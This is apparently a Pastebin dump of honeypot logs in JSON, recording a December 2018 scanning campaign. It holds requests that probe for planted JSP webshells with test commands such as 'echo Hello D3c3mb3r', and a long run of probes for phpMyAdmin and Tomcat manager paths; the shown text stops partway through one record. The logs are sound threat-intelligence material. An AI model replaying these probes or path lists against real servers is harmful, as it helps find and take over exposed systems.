API tools faq
paste
Advertisement
ankit_anubhav

D3c3mb3r guys scanning with ThinkPHP EDB 45978

ankit_anubhav
Dec 18th, 2018
334
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 126.71 KB | None | 0 0
raw download clone embed print report
  1. {
  2. "datas": [
  3. {
  4. "@timestamp": "2018-12-17T09:41:02.000Z",
  5. "data": "GET /manager/html HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  6. },
  7. {
  8. "@timestamp": "2018-12-17T09:41:02.000Z",
  9. "data": "GET /a/pwn.jsp?cmd=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  10. },
  11. {
  12. "@timestamp": "2018-12-17T09:41:02.000Z",
  13. "data": "GET /HCEGH/xunfeng.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  14. },
  15. {
  16. "@timestamp": "2018-12-17T09:41:01.000Z",
  17. "data": "GET /wstats/wstats.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  18. },
  19. {
  20. "@timestamp": "2018-12-17T09:41:00.000Z",
  21. "data": "GET /idssvc/idssvc.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  22. },
  23. {
  24. "@timestamp": "2018-12-17T09:41:00.000Z",
  25. "data": "GET /zecmd/zecmd.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  26. },
  27. {
  28. "@timestamp": "2018-12-17T09:41:00.000Z",
  29. "data": "GET /iesvc/iesvc.jsp?comment=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  30. },
  31. {
  32. "@timestamp": "2018-12-17T09:40:59.000Z",
  33. "data": "GET /shellinvoker/shellinvoker.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: jexboss\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  34. },
  35. {
  36. "@timestamp": "2018-12-17T09:40:59.000Z",
  37. "data": "GET /jvrx/cmd.jsp?pwd=everymorning\u0026cmd=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  38. },
  39. {
  40. "@timestamp": "2018-12-17T09:40:58.000Z",
  41. "data": "GET /demo/404.jsp?bjh=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  42. },
  43. {
  44. "@timestamp": "2018-12-17T09:40:58.000Z",
  45. "data": "GET /jbws/jbws.jsp?eval=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: jbosses\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  46. },
  47. {
  48. "@timestamp": "2018-12-17T09:40:58.000Z",
  49. "data": "GET /dread/lock.jsp?tezaz=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  50. },
  51. {
  52. "@timestamp": "2018-12-17T09:40:57.000Z",
  53. "data": "GET /console/jspzxc.jsp?cmd=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  54. },
  55. {
  56. "@timestamp": "2018-12-17T09:40:56.000Z",
  57. "data": "GET /jexinv3/jexinv3.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  58. },
  59. {
  60. "@timestamp": "2018-12-17T09:40:56.000Z",
  61. "data": "GET /jbossass/jbossass.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: jexboss\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  62. },
  63. {
  64. "@timestamp": "2018-12-17T09:40:56.000Z",
  65. "data": "GET /jexinv4/jexinv4.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  66. },
  67. {
  68. "@timestamp": "2018-12-17T09:40:55.000Z",
  69. "data": "GET /jexws4/jexws4.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  70. },
  71. {
  72. "@timestamp": "2018-12-17T09:40:55.000Z",
  73. "data": "GET /jexinv/jexinv.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  74. },
  75. {
  76. "@timestamp": "2018-12-17T09:40:54.000Z",
  77. "data": "GET /jexws2/jexws2.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  78. },
  79. {
  80. "@timestamp": "2018-12-17T09:40:54.000Z",
  81. "data": "GET /jexws3/jexws3.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: test\r\ncheck-updates: false\r\nno-check-updates: true\r\nHost: 127.0.0.1:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  82. },
  83. {
  84. "@timestamp": "2018-12-17T09:40:52.000Z",
  85. "data": "GET /manager/html HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  86. },
  87. {
  88. "@timestamp": "2018-12-17T09:40:52.000Z",
  89. "data": "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  90. },
  91. {
  92. "@timestamp": "2018-12-17T09:40:51.000Z",
  93. "data": "GET /mysql/sqlmanager/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  94. },
  95. {
  96. "@timestamp": "2018-12-17T09:40:51.000Z",
  97. "data": "GET /mysql/mysqlmanager/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  98. },
  99. {
  100. "@timestamp": "2018-12-17T09:40:50.000Z",
  101. "data": "GET /mysql/dbadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  102. },
  103. {
  104. "@timestamp": "2018-12-17T09:40:50.000Z",
  105. "data": "GET /mysql/admin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  106. },
  107. {
  108. "@timestamp": "2018-12-17T09:40:50.000Z",
  109. "data": "GET /phpmy/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  110. },
  111. {
  112. "@timestamp": "2018-12-17T09:40:49.000Z",
  113. "data": "GET /phppma/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  114. },
  115. {
  116. "@timestamp": "2018-12-17T09:40:48.000Z",
  117. "data": "GET /shopdb/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  118. },
  119. {
  120. "@timestamp": "2018-12-17T09:40:48.000Z",
  121. "data": "GET /program/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  122. },
  123. {
  124. "@timestamp": "2018-12-17T09:40:48.000Z",
  125. "data": "GET /phpMyAdmina/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  126. },
  127. {
  128. "@timestamp": "2018-12-17T09:40:47.000Z",
  129. "data": "GET /phpMyAdmin123/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  130. },
  131. {
  132. "@timestamp": "2018-12-17T09:40:47.000Z",
  133. "data": "GET /pwd/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  134. },
  135. {
  136. "@timestamp": "2018-12-17T09:40:46.000Z",
  137. "data": "GET /phpMyAdmin1/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  138. },
  139. {
  140. "@timestamp": "2018-12-17T09:40:46.000Z",
  141. "data": "GET /MyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  142. },
  143. {
  144. "@timestamp": "2018-12-17T09:40:46.000Z",
  145. "data": "GET /phpMyAdmion/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  146. },
  147. {
  148. "@timestamp": "2018-12-17T09:40:45.000Z",
  149. "data": "GET /phpMyadmi/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  150. },
  151. {
  152. "@timestamp": "2018-12-17T09:40:44.000Z",
  153. "data": "GET /phpmyadm1n/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  154. },
  155. {
  156. "@timestamp": "2018-12-17T09:40:44.000Z",
  157. "data": "GET /phpMyAdm1n/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  158. },
  159. {
  160. "@timestamp": "2018-12-17T09:40:44.000Z",
  161. "data": "GET /shaAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  162. },
  163. {
  164. "@timestamp": "2018-12-17T09:40:43.000Z",
  165. "data": "GET /phpMyAdmin+++---/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  166. },
  167. {
  168. "@timestamp": "2018-12-17T09:40:43.000Z",
  169. "data": "GET /v/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  170. },
  171. {
  172. "@timestamp": "2018-12-17T09:40:42.000Z",
  173. "data": "GET /phpMyAbmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  174. },
  175. {
  176. "@timestamp": "2018-12-17T09:40:42.000Z",
  177. "data": "GET /phpMyAdmin__/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  178. },
  179. {
  180. "@timestamp": "2018-12-17T09:40:42.000Z",
  181. "data": "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  182. },
  183. {
  184. "@timestamp": "2018-12-17T09:40:41.000Z",
  185. "data": "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  186. },
  187. {
  188. "@timestamp": "2018-12-17T09:40:40.000Z",
  189. "data": "GET /claroline/phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  190. },
  191. {
  192. "@timestamp": "2018-12-17T09:40:40.000Z",
  193. "data": "GET /typo3/phpmyadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  194. },
  195. {
  196. "@timestamp": "2018-12-17T09:40:40.000Z",
  197. "data": "GET /phpma/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  198. },
  199. {
  200. "@timestamp": "2018-12-17T09:40:39.000Z",
  201. "data": "GET /pma-old/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  202. },
  203. {
  204. "@timestamp": "2018-12-17T09:40:39.000Z",
  205. "data": "GET /phpMyAdmin.old/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  206. },
  207. {
  208. "@timestamp": "2018-12-17T09:40:38.000Z",
  209. "data": "GET /tools/phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  210. },
  211. {
  212. "@timestamp": "2018-12-17T09:40:38.000Z",
  213. "data": "GET /phpmyadmin-old/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  214. },
  215. {
  216. "@timestamp": "2018-12-17T09:40:38.000Z",
  217. "data": "GET /phpMyAdminold/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  218. },
  219. {
  220. "@timestamp": "2018-12-17T09:40:37.000Z",
  221. "data": "GET /www/phpMyAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  222. },
  223. {
  224. "@timestamp": "2018-12-17T09:40:36.000Z",
  225. "data": "GET /xampp/phpmyadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  226. },
  227. {
  228. "@timestamp": "2018-12-17T09:40:36.000Z",
  229. "data": "GET /myadmin2/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  230. },
  231. {
  232. "@timestamp": "2018-12-17T09:40:36.000Z",
  233. "data": "GET /phpMyadmin_bak/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  234. },
  235. {
  236. "@timestamp": "2018-12-17T09:40:35.000Z",
  237. "data": "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  238. },
  239. {
  240. "@timestamp": "2018-12-17T09:40:35.000Z",
  241. "data": "GET /myadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  242. },
  243. {
  244. "@timestamp": "2018-12-17T09:40:34.000Z",
  245. "data": "GET /phpmyadmin1/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  246. },
  247. {
  248. "@timestamp": "2018-12-17T09:40:34.000Z",
  249. "data": "GET /phpmyadmin2/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  250. },
  251. {
  252. "@timestamp": "2018-12-17T09:40:34.000Z",
  253. "data": "GET /phpmyadmin0/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  254. },
  255. {
  256. "@timestamp": "2018-12-17T09:40:33.000Z",
  257. "data": "GET /phpAdmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  258. },
  259. {
  260. "@timestamp": "2018-12-17T09:40:32.000Z",
  261. "data": "GET /mysql-admin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  262. },
  263. {
  264. "@timestamp": "2018-12-17T09:40:32.000Z",
  265. "data": "GET /phpadmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  266. },
  267. {
  268. "@timestamp": "2018-12-17T09:40:32.000Z",
  269. "data": "GET /mysql_admin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  270. },
  271. {
  272. "@timestamp": "2018-12-17T09:40:31.000Z",
  273. "data": "GET /admin/phpmyadmin2/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  274. },
  275. {
  276. "@timestamp": "2018-12-17T09:40:31.000Z",
  277. "data": "GET /mysqladmin/index.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0\r\nHost: 127.0.0.1\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
  278. },
  279. {
  280. "@timestamp": "2018-12-17T09:40:30.000Z",
